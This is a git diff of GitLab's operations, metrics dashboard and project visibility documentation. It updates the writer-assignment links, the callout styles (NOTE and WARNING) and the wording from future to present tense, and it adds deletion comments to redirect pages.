--- a/doc/operations/incident_management/incidents.md
+++ b/doc/operations/incident_management/incidents.md
@@ -1,7 +1,7 @@
---
stage: Monitor
group: Health
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Incidents
@@ -46,10 +46,7 @@ Incident, you have two options to do this manually.
With Maintainer or higher [permissions](../../user/permissions.md), you can enable
GitLab to create incident automatically whenever an alert is triggered:
-1. Navigate to **Settings > Operations > Incidents** and expand **Incidents**:
-
- ![Incident Management Settings](img/incident_management_settings_v13_3.png)
-
+1. Navigate to **Settings > Operations > Incidents** and expand **Incidents**.
1. Check the **Create an incident** checkbox.
1. To customize the incident, select an
[issue template](../../user/project/description_templates.md#creating-issue-templates).
@@ -121,7 +118,7 @@ display an arrow next to the column name.
Incidents share the [Issues API](../../user/project/issues/index.md).
-TIP: **Tip:**
+NOTE:
For a live example of the incident list in action, visit this
[demo project](https://gitlab.com/gitlab-examples/ops/incident-setup/everyone/tanuki-inc/-/incidents).
diff --git a/doc/operations/incident_management/index.md b/doc/operations/incident_management/index.md
index 60571c03d74..b0274537941 100644
--- a/doc/operations/incident_management/index.md
+++ b/doc/operations/incident_management/index.md
@@ -1,7 +1,7 @@
---
stage: Monitor
group: Health
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Incident management
diff --git a/doc/operations/incident_management/integrations.md b/doc/operations/incident_management/integrations.md
index 9d4f32ab2bf..8c2159c130b 100644
--- a/doc/operations/incident_management/integrations.md
+++ b/doc/operations/incident_management/integrations.md
@@ -1,7 +1,7 @@
---
stage: Monitor
group: Health
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Integrations
diff --git a/doc/operations/incident_management/status_page.md b/doc/operations/incident_management/status_page.md
index 4230091866e..6514a80a32b 100644
--- a/doc/operations/incident_management/status_page.md
+++ b/doc/operations/incident_management/status_page.md
@@ -1,7 +1,7 @@
---
stage: Monitor
group: Health
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Status Page
@@ -83,7 +83,7 @@ the necessary CI/CD variables to deploy the Status Page to AWS S3:
1. Navigate to **CI / CD > Pipelines > Run Pipeline**, and run the pipeline to
deploy the Status Page to S3.
-CAUTION: **Caution:**
+WARNING:
Consider limiting who can access issues in this project, as any user who can view
the issue can potentially [publish comments to your GitLab Status Page](#publish-comments-on-incidents).
@@ -128,11 +128,11 @@ To publish an incident:
issue to the GitLab Status Page. Confidential issues can't be published.
A background worker publishes the issue onto the Status Page using the credentials
-you provided during setup. As part of publication, GitLab will:
+you provided during setup. As part of publication, GitLab:
-- Anonymize user and group mentions with `Incident Responder`.
-- Remove titles of non-public [GitLab references](../../user/markdown.md#special-gitlab-references).
-- Publish any files attached to incident issue descriptions, up to 5000 per issue.
+- Anonymizes user and group mentions with `Incident Responder`.
+- Removes titles of non-public [GitLab references](../../user/markdown.md#special-gitlab-references).
+- Publishes any files attached to incident issue descriptions, up to 5000 per issue.
([Introduced in GitLab 13.1](https://gitlab.com/gitlab-org/gitlab/-/issues/205166).)
After publication, you can access the incident's details page by clicking the
@@ -144,7 +144,7 @@ After publication, you can access the incident's details page by clicking the
To publish an update to the Incident, update the incident issue's description.
-CAUTION: **Caution:**
+WARNING:
When referenced issues are changed (such as title or confidentiality) the incident
they were referenced in is not updated.
@@ -159,7 +159,7 @@ To publish comments to the Status Page Incident:
- Any files attached to the comment (up to 5000 per issue) are also published.
([Introduced in GitLab 13.1](https://gitlab.com/gitlab-org/gitlab/-/issues/205166).)
-CAUTION: **Caution:**
+WARNING:
Anyone with access to view the Issue can add an emoji award to a comment, so
consider limiting access to issues to team members only.
diff --git a/doc/operations/index.md b/doc/operations/index.md
index 8488f939893..1d738768531 100644
--- a/doc/operations/index.md
+++ b/doc/operations/index.md
@@ -1,7 +1,7 @@
---
stage: Monitor
group: Health
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Project operations **(CORE)**
@@ -81,7 +81,7 @@ infrastructure.
GitLab stores and executes your infrastructure as code, whether it's
defined in Ansible, Puppet or Chef. We also offer native integration with
[Terraform](https://www.terraform.io/), uniting your GitOps and
-Infrastructure-as-Code (IaC) workflows with GitLab's authentication, authorization,
+Infrastructure-as-Code (IaC) workflows with the GitLab authentication, authorization,
and user interface. By lowering the barrier to entry for adopting Terraform, you
can manage and provision infrastructure through machine-readable definition files,
rather than physical hardware configuration or interactive configuration tools.
diff --git a/doc/operations/metrics/alerts.md b/doc/operations/metrics/alerts.md
index 79e3bdbd69c..36a73d66609 100644
--- a/doc/operations/metrics/alerts.md
+++ b/doc/operations/metrics/alerts.md
@@ -1,7 +1,7 @@
---
stage: Monitor
group: Health
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Set up alerts for Prometheus metrics **(CORE)**
@@ -53,8 +53,8 @@ as soon as the alert fires:
For manually configured Prometheus servers, GitLab provides a notify endpoint for
use with Prometheus webhooks. If you have manual configuration enabled, an
**Alerts** section is added to **Settings > Integrations > Prometheus**.
-This section contains the **URL** and **Authorization Key** you will need. The
-**Reset Key** button will invalidate the key and generate a new one.
+This section contains the needed **URL** and **Authorization Key**. The
+**Reset Key** button invalidates the key and generates a new one.
![Prometheus service configuration of Alerts](img/prometheus_service_alerts.png)
@@ -80,12 +80,12 @@ Prometheus. The value of this should match the name of your environment in GitLa
In GitLab versions 13.1 and greater, you can configure your manually configured
Prometheus server to use the
-[Generic alerts integration](../incident_management/generic_alerts.md).
+[Generic alerts integration](../incident_management/alert_integrations.md).
## Trigger actions from alerts **(ULTIMATE)**
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/4925) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 11.11.
-> - [From GitLab Ultimate 12.5](https://gitlab.com/gitlab-org/gitlab/-/issues/13401), when GitLab receives a recovery alert, it will automatically close the associated issue.
+> - [From GitLab Ultimate 12.5](https://gitlab.com/gitlab-org/gitlab/-/issues/13401), when GitLab receives a recovery alert, it automatically closes the associated issue.
Alerts can be used to trigger actions, like opening an issue automatically
(disabled by default since `13.1`). To configure the actions:
diff --git a/doc/operations/metrics/dashboards/default.md b/doc/operations/metrics/dashboards/default.md
index 11e96114f38..5c6187565dd 100644
--- a/doc/operations/metrics/dashboards/default.md
+++ b/doc/operations/metrics/dashboards/default.md
@@ -1,7 +1,7 @@
---
stage: Monitor
group: Health
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# GitLab-defined metrics dashboards **(CORE)**
diff --git a/doc/operations/metrics/dashboards/develop.md b/doc/operations/metrics/dashboards/develop.md
index 9254bfe075f..800ed401efb 100644
--- a/doc/operations/metrics/dashboards/develop.md
+++ b/doc/operations/metrics/dashboards/develop.md
@@ -1,7 +1,7 @@
---
stage: Monitor
group: Health
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Developing templates for custom dashboards **(CORE)**
diff --git a/doc/operations/metrics/dashboards/index.md b/doc/operations/metrics/dashboards/index.md
index c11da2926bb..f875c4a87c5 100644
--- a/doc/operations/metrics/dashboards/index.md
+++ b/doc/operations/metrics/dashboards/index.md
@@ -1,7 +1,7 @@
---
stage: Monitor
group: Health
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Custom dashboards **(CORE)**
@@ -65,9 +65,9 @@ To create a new dashboard from the command line:
Your custom dashboard is available at `https://example.com/project/-/metrics/custom_dashboard_name.yml`.
-NOTE: **Note:**
-Configuration files nested under subdirectories of `.gitlab/dashboards` are not
-supported and won't be available in the UI.
+NOTE:
+Configuration files nested under subdirectories of `.gitlab/dashboards` aren't
+supported or available in the UI.
## Add a new metrics panel to a dashboard
@@ -81,7 +81,7 @@ with the **Add Panel** page:
[permissions](../../../user/permissions.md#project-members-permissions).
1. Click **Add panel** in the **{ellipsis_v}** **More actions** menu.
- NOTE: **Note:**
+ NOTE:
You can only add panels to custom dashboards.
![Monitoring Dashboard actions menu with add panel item](img/actions_menu_create_add_panel_v13_3.png)
@@ -156,7 +156,7 @@ and end times to the URL, enabling you to share specific timeframes more easily.
You can use **Metrics Dashboard Annotations** to mark any important events on
every metrics dashboard by adding annotations to it. While viewing a dashboard,
-annotation entries assigned to the selected time range will be automatically
+annotation entries assigned to the selected time range are automatically
fetched and displayed on every chart within that dashboard. On mouse hover, each
annotation presents additional details, including the exact time of an event and
its description.
diff --git a/doc/operations/metrics/dashboards/panel_types.md b/doc/operations/metrics/dashboards/panel_types.md
index fd9d2bf7899..86f6776e273 100644
--- a/doc/operations/metrics/dashboards/panel_types.md
+++ b/doc/operations/metrics/dashboards/panel_types.md
@@ -1,7 +1,7 @@
---
stage: Monitor
group: Health
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Panel types for dashboards **(CORE)**
@@ -39,7 +39,7 @@ Note the following properties:
![area panel chart](img/prometheus_dashboard_area_panel_type_v12_8.png)
-Starting in [version 12.8](https://gitlab.com/gitlab-org/gitlab/-/issues/202696), the y-axis values will automatically scale according to the data. Previously, it always started from 0.
+Starting in [version 12.8](https://gitlab.com/gitlab-org/gitlab/-/issues/202696), the y-axis values scale according to the data. Previously, it always started from 0.
## Anomaly chart
@@ -229,7 +229,7 @@ For example, if you have a query value of `53.6`, adding `%` as the unit results
## Gauge
-CAUTION: **Warning:**
+WARNING:
This panel type is an _alpha_ feature, and is subject to change at any time
without prior notice!
@@ -307,7 +307,7 @@ Note the following properties:
![heatmap panel type](img/heatmap_panel_type.png)
-CAUTION: **Warning:**
+WARNING:
When a query returns too many data points, the heatmap data bucket dimensions tend downwards to 0, making the chart's data invisible, as shown in the image below. To fix this problem, limit the amount of data returned by changing the time range filter on the metrics dashboard UI, or adding the **step** property to your dashboard's YAML file.
![heatmap chart_too_much_data](img/heatmap_chart_too_much_data_v_13_2.png)
diff --git a/doc/operations/metrics/dashboards/settings.md b/doc/operations/metrics/dashboards/settings.md
index 6052b0778da..92f3a14aab9 100644
--- a/doc/operations/metrics/dashboards/settings.md
+++ b/doc/operations/metrics/dashboards/settings.md
@@ -1,7 +1,7 @@
---
stage: Monitor
group: Health
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Dashboard settings
diff --git a/doc/operations/metrics/dashboards/templating_variables.md b/doc/operations/metrics/dashboards/templating_variables.md
index 1c0b05b0e53..db02cc3bf98 100644
--- a/doc/operations/metrics/dashboards/templating_variables.md
+++ b/doc/operations/metrics/dashboards/templating_variables.md
@@ -1,7 +1,7 @@
---
stage: Monitor
group: Health
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Templating variables for metrics dashboards **(CORE)**
@@ -21,12 +21,12 @@ described [in Using Variables](variables.md).
## `text` variable type
-CAUTION: **Warning:**
+WARNING:
This variable type is an _alpha_ feature, and is subject to change at any time
without prior notice!
-For each `text` variable defined in the dashboard YAML, there will be a free text
-box on the dashboard UI, allowing you to enter a value for each variable.
+For each `text` variable defined in the dashboard YAML, a free text field displays
+on the dashboard UI, allowing you to enter a value for each variable.
The `text` variable type supports a simple and a full syntax.
@@ -44,7 +44,7 @@ templating:
### Full syntax
This example creates a variable called `variable1`, with a default value of `default`.
-The label for the text box on the UI will be the value of the `label` key:
+The label for the text box on the UI is the value of the `label` key:
```yaml
templating:
@@ -58,7 +58,7 @@ templating:
## `custom` variable type
-CAUTION: **Warning:**
+WARNING:
This variable type is an _alpha_ feature, and is subject to change at any time
without prior notice!
@@ -70,7 +70,7 @@ The `custom` variable type supports a simple and a full syntax.
### Simple syntax
This example creates a variable called `variable1`, with a default value of `value1`.
-The dashboard UI will display a dropdown with `value1`, `value2` and `value3`
+The dashboard UI displays a dropdown with `value1`, `value2` and `value3`
as the choices.
```yaml
@@ -82,12 +82,12 @@ templating:
### Full syntax
This example creates a variable called `variable1`, with a default value of `value_option_2`.
-The label for the text box on the UI will be the value of the `label` key.
-The dashboard UI will display a dropdown with `Option 1` and `Option 2`
+The label for the text box on the UI is the value of the `label` key.
+The dashboard UI displays a dropdown with `Option 1` and `Option 2`
as the choices.
-If you select `Option 1` from the dropdown, the variable will be replaced with `value option 1`.
-Similarly, if you select `Option 2`, the variable will be replaced with `value_option_2`:
+If you select `Option 1` from the dropdown, the variable is replaced with `value option 1`.
+Similarly, if you select `Option 2`, the variable is replaced with `value_option_2`:
```yaml
templating:
@@ -106,14 +106,14 @@ templating:
## `metric_label_values` variable type
-CAUTION: **Warning:**
+WARNING:
This variable type is an _alpha_ feature, and is subject to change at any time
without prior notice!
### Full syntax
-This example creates a variable called `variable2`. The values of the dropdown will
-be all the different values of the `backend` label in the Prometheus series described by
+This example creates a variable called `variable2`. The values of the dropdown are
+all the different values of the `backend` label in the Prometheus series described by
`up{env="production"}`.
```yaml
diff --git a/doc/operations/metrics/dashboards/variables.md b/doc/operations/metrics/dashboards/variables.md
index e1f5f0ce6f4..9c5ff3bd13b 100644
--- a/doc/operations/metrics/dashboards/variables.md
+++ b/doc/operations/metrics/dashboards/variables.md
@@ -1,7 +1,7 @@
---
stage: Monitor
group: Health
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Using variables **(CORE)**
@@ -12,7 +12,7 @@ Variables can be specified using double curly braces, such as `"{{ci_environment
Support for the `"%{ci_environment_slug}"` format was
[removed](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/31581) in GitLab 13.0.
-Queries that continue to use the old format will show no data.
+Queries that continue to use the old format display no data.
## Predefined variables
diff --git a/doc/operations/metrics/dashboards/yaml.md b/doc/operations/metrics/dashboards/yaml.md
index 13397eb702a..db49de7e800 100644
--- a/doc/operations/metrics/dashboards/yaml.md
+++ b/doc/operations/metrics/dashboards/yaml.md
@@ -1,7 +1,7 @@
---
stage: Monitor
group: Health
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Dashboard YAML properties **(CORE)**
@@ -53,7 +53,7 @@ is no longer used.
| `group` | string | required | Heading for the panel group. |
| `panels` | array | required | The panels which should be in the panel group. |
-Panels in a panel group are laid out in rows consisting of two panels per row. An exception to this rule are single panels on a row: these panels will take the full width of their containing row.
+Panels in a panel group are laid out in rows consisting of two panels per row. An exception to this rule are single panels on a row: these panels take the full width of their containing row.
## **Panel (`panels`) properties**
@@ -87,15 +87,15 @@ is no longer used.
| `id` | string | no | Used for associating dashboard metrics with database records. Must be unique across dashboard configuration files. Required for [alerting](../alerts.md) (support not yet enabled, see [relevant issue](https://gitlab.com/gitlab-org/gitlab/-/issues/27980)). |
| `unit` | string | yes | Defines the unit of the query's return data. |
| `label` | string | no, but highly encouraged | Defines the legend-label for the query. Should be unique within the panel's metrics. Can contain time series labels as interpolated variables. |
-| `query` | string/number | yes if `query_range` is not defined | Defines the Prometheus query to be used to populate the chart/panel. If defined, the `query` endpoint of the [Prometheus API](https://prometheus.io/docs/prometheus/latest/querying/api/) will be used. |
-| `query_range` | string/number | yes if `query` is not defined | Defines the Prometheus query to be used to populate the chart/panel. If defined, the `query_range` endpoint of the [Prometheus API](https://prometheus.io/docs/prometheus/latest/querying/api/) will be used. |
+| `query` | string/number | yes if `query_range` is not defined | Defines the Prometheus query to be used to populate the chart/panel. If defined, the `query` endpoint of the [Prometheus API](https://prometheus.io/docs/prometheus/latest/querying/api/) is used. |
+| `query_range` | string/number | yes if `query` is not defined | Defines the Prometheus query to be used to populate the chart/panel. If defined, the `query_range` endpoint of the [Prometheus API](https://prometheus.io/docs/prometheus/latest/querying/api/) is used. |
| `step` | number | no, value is calculated if not defined | Defines query resolution step width in float number of seconds. Metrics on the same panel should use the same `step` value. |
## Dynamic labels
Dynamic labels are useful when multiple time series are returned from a Prometheus query.
-When a static label is used and a query returns multiple time series, then all the legend items will be labeled the same, which makes identifying each time series difficult:
+When a static label is used and a query returns multiple time series, then all the legend items are labeled the same, which makes identifying each time series difficult:
```yaml
metrics:
@@ -109,7 +109,7 @@ This may render a legend like this:
![repeated legend label chart](img/prometheus_dashboard_repeated_label.png)
-For labels to be more explicit, using variables that reflect time series labels is a good practice. The variables will be replaced by the values of the time series labels when the legend is rendered:
+For labels to be more explicit, using variables that reflect time series labels is a good practice. The variables are replaced by the values of the time series labels when the legend is rendered:
```yaml
metrics:
@@ -119,7 +119,7 @@ metrics:
unit: 'count'
```
-The resulting rendered legend will look like this:
+The resulting rendered legend looks like this:
![legend with label variables](img/prometheus_dashboard_label_variables.png)
@@ -133,7 +133,7 @@ metrics:
unit: 'count'
```
-This works by lowercasing the value of `label` and, if there are more words separated by spaces, replacing those spaces with an underscore (`_`). The transformed value is then checked against the labels of the time series returned by the Prometheus query. If a time series label is found that is equal to the transformed value, then the label value will be used and rendered in the legend like this:
+This works by lowercasing the value of `label` and, if there are more words separated by spaces, replacing those spaces with an underscore (`_`). The transformed value is then checked against the labels of the time series returned by the Prometheus query. If a time series label is found that is equal to the transformed value, then the label value renders in the legend like this:
![legend with label shorthand variable](img/prometheus_dashboard_label_variable_shorthand.png)
diff --git a/doc/operations/metrics/dashboards/yaml_number_format.md b/doc/operations/metrics/dashboards/yaml_number_format.md
index db1606faf8d..27e4b905597 100644
--- a/doc/operations/metrics/dashboards/yaml_number_format.md
+++ b/doc/operations/metrics/dashboards/yaml_number_format.md
@@ -1,7 +1,7 @@
---
stage: Monitor
group: Health
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Unit formats reference **(CORE)**
diff --git a/doc/operations/metrics/embed.md b/doc/operations/metrics/embed.md
index c0b30f18156..9a9a0b4cff2 100644
--- a/doc/operations/metrics/embed.md
+++ b/doc/operations/metrics/embed.md
@@ -1,7 +1,7 @@
---
stage: Monitor
group: Health
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Embedding metric charts within GitLab-flavored Markdown **(CORE)**
@@ -19,7 +19,7 @@ metrics to others, and you want to have relevant information directly available.
This feature requires [Kubernetes](../../user/project/integrations/prometheus_library/kubernetes.md) metrics.
-Note: **Note:**
+NOTE:
In GitLab versions 13.3 and earlier, metrics dashboard links were in the form
`https://<root_url>/<project>/-/environments/<environment_id>/metrics`. These links
are still supported, and can be used to embed metric charts.
diff --git a/doc/operations/metrics/embed_grafana.md b/doc/operations/metrics/embed_grafana.md
index 532bf150777..21950354ae9 100644
--- a/doc/operations/metrics/embed_grafana.md
+++ b/doc/operations/metrics/embed_grafana.md
@@ -1,7 +1,7 @@
---
stage: Monitor
group: Health
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Embedding Grafana charts **(CORE)**
@@ -23,7 +23,7 @@ For this embed to display correctly, the
Copy the link and add an image tag as [inline HTML](../../user/markdown.md#inline-html)
in your Markdown. You can tweak the query parameters to meet your needs, such as
removing the `&from=` and `&to=` parameters to display a live chart. Here is example
-markup for a live chart from GitLab's public dashboard:
+markup for a live chart from a GitLab public dashboard:
```html
<img src="https://dashboards.gitlab.com/d/RZmbBr7mk/gitlab-triage?orgId=1&refresh=30s&var-env=gprd&var-environment=gprd&var-prometheus=prometheus-01-inf-gprd&var-prometheus_app=prometheus-app-01-inf-gprd&var-backend=All&var-type=All&var-stage=main&from=1580444107655&to=1580465707655"/>
diff --git a/doc/operations/metrics/index.md b/doc/operations/metrics/index.md
index 6ce0bd42d3c..7cd18e5606b 100644
--- a/doc/operations/metrics/index.md
+++ b/doc/operations/metrics/index.md
@@ -1,7 +1,7 @@
---
stage: Monitor
group: Health
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Monitor your environment's metrics **(CORE)**
@@ -147,7 +147,7 @@ After saving them, they display on the environment metrics dashboard provided th
A few fields are required:
- **Name**: Chart title
-- **Type**: Type of metric. Metrics of the same type will be shown together.
+- **Type**: Type of metric. Metrics of the same type are shown together.
- **Query**: Valid [PromQL query](https://prometheus.io/docs/prometheus/latest/querying/basics/).
- **Y-axis label**: Y axis title to display on the dashboard.
- **Unit label**: Query units, for example `req / sec`. Shown next to the value.
diff --git a/doc/operations/moving_repositories.md b/doc/operations/moving_repositories.md
index 57d47e3e9ea..07df1607d37 100644
--- a/doc/operations/moving_repositories.md
+++ b/doc/operations/moving_repositories.md
@@ -3,3 +3,6 @@ redirect_to: '../administration/operations/moving_repositories.md'
---
This document was moved to [another location](../administration/operations/moving_repositories.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/operations/product_analytics.md b/doc/operations/product_analytics.md
index 65dced97002..e6e887b9738 100644
--- a/doc/operations/product_analytics.md
+++ b/doc/operations/product_analytics.md
@@ -1,7 +1,7 @@
---
stage: Growth
group: Product Analytics
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Product Analytics **(CORE)**
@@ -70,7 +70,7 @@ database from growing too quickly.
Product Analytics stores events are stored in GitLab database.
-CAUTION: **Caution:**
+WARNING:
This data storage is experimental, and GitLab is likely to remove this data during
future development.
diff --git a/doc/operations/sidekiq_memory_killer.md b/doc/operations/sidekiq_memory_killer.md
index 2df4a6e5648..b98e4abb4d0 100644
--- a/doc/operations/sidekiq_memory_killer.md
+++ b/doc/operations/sidekiq_memory_killer.md
@@ -3,3 +3,6 @@ redirect_to: '../administration/operations/sidekiq_memory_killer.md'
---
This document was moved to [another location](../administration/operations/sidekiq_memory_killer.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/operations/tracing.md b/doc/operations/tracing.md
index b6ef552772e..c08651560e0 100644
--- a/doc/operations/tracing.md
+++ b/doc/operations/tracing.md
@@ -1,7 +1,7 @@
---
stage: Monitor
group: Health
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Tracing
@@ -38,4 +38,4 @@ GitLab provides an easy way to open the Jaeger UI from within your project:
1. Navigate to your project's **Settings > Operations** and provide the Jaeger URL.
1. Click **Save changes** for the changes to take effect.
1. You can now visit **Operations > Tracing** in your project's sidebar and
- GitLab will redirect you to the configured Jaeger URL.
+ GitLab redirects you to the configured Jaeger URL.
diff --git a/doc/operations/unicorn.md b/doc/operations/unicorn.md
index 949f4a66c9d..d10b7f8bbb9 100644
--- a/doc/operations/unicorn.md
+++ b/doc/operations/unicorn.md
@@ -3,3 +3,6 @@ redirect_to: '../administration/operations/unicorn.md'
---
This document was moved to [another location](../administration/operations/unicorn.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/permissions/permissions.md b/doc/permissions/permissions.md
index 85923a40b2c..38b68ff9e42 100644
--- a/doc/permissions/permissions.md
+++ b/doc/permissions/permissions.md
@@ -5,3 +5,6 @@ redirect_to: '../user/permissions.md'
# Permissions
This document was moved to [user/permissions.md](../user/permissions.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/policy/maintenance.md b/doc/policy/maintenance.md
index 9edec660d5f..e097d2c24a8 100644
--- a/doc/policy/maintenance.md
+++ b/doc/policy/maintenance.md
@@ -1,7 +1,7 @@
---
stage: Enablement
group: Distribution
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: concepts
---
@@ -63,13 +63,13 @@ one major version. For example, it is safe to:
- `12.0.4` -> `12.0.12`
- `11.11.1` -> `11.11.8`
-NOTE: **Note:**
+NOTE:
Version specific changes in Omnibus GitLab Linux packages can be found in [the Omnibus GitLab documentation](https://docs.gitlab.com/omnibus/update/README.html#version-specific-changes).
-NOTE: **Note:**
+NOTE:
Instructions are available for downloading an Omnibus GitLab Linux package locally and [manually installing](https://docs.gitlab.com/omnibus/manual_install.html) it.
-NOTE: **Note:**
+NOTE:
A step-by-step guide to [upgrading the Omnibus-bundled PostgreSQL is documented separately](https://docs.gitlab.com/omnibus/settings/database.html#upgrade-packaged-postgresql-server).
## Upgrading major versions
diff --git a/doc/public_access/public_access.md b/doc/public_access/public_access.md
index 1f9486dc324..8d751d10aa5 100644
--- a/doc/public_access/public_access.md
+++ b/doc/public_access/public_access.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference
---
@@ -17,22 +17,22 @@ public access directory (`/public` under your GitLab instance), like at <https:/
Public projects can be cloned **without any** authentication over HTTPS.
-They will be listed in the public access directory (`/public`) for all users.
+They are listed in the public access directory (`/public`) for all users.
-**Any logged in user** will have [Guest permissions](../user/permissions.md)
+**Any logged in user** has [Guest permissions](../user/permissions.md)
on the repository.
### Internal projects
Internal projects can be cloned by any logged in user except [external users](../user/permissions.md#external-users).
-They will also be listed in the public access directory (`/public`), but only for logged
+They are also listed in the public access directory (`/public`), but only for logged
in users.
-Any logged in user except [external users](../user/permissions.md#external-users) will have [Guest permissions](../user/permissions.md)
+Any logged in users except [external users](../user/permissions.md#external-users) have [Guest permissions](../user/permissions.md)
on the repository.
-NOTE: **Note:**
+NOTE:
From July 2019, the `Internal` visibility setting is disabled for new projects, groups,
and snippets on GitLab.com. Existing projects, groups, and snippets using the `Internal`
visibility setting keep this setting. You can read more about the change in the
@@ -42,7 +42,7 @@ visibility setting keep this setting. You can read more about the change in the
Private projects can only be cloned and viewed by project members (except for guests).
-They will appear in the public access directory (`/public`) for project members only.
+They appear in the public access directory (`/public`) for project members only.
### How to change project visibility
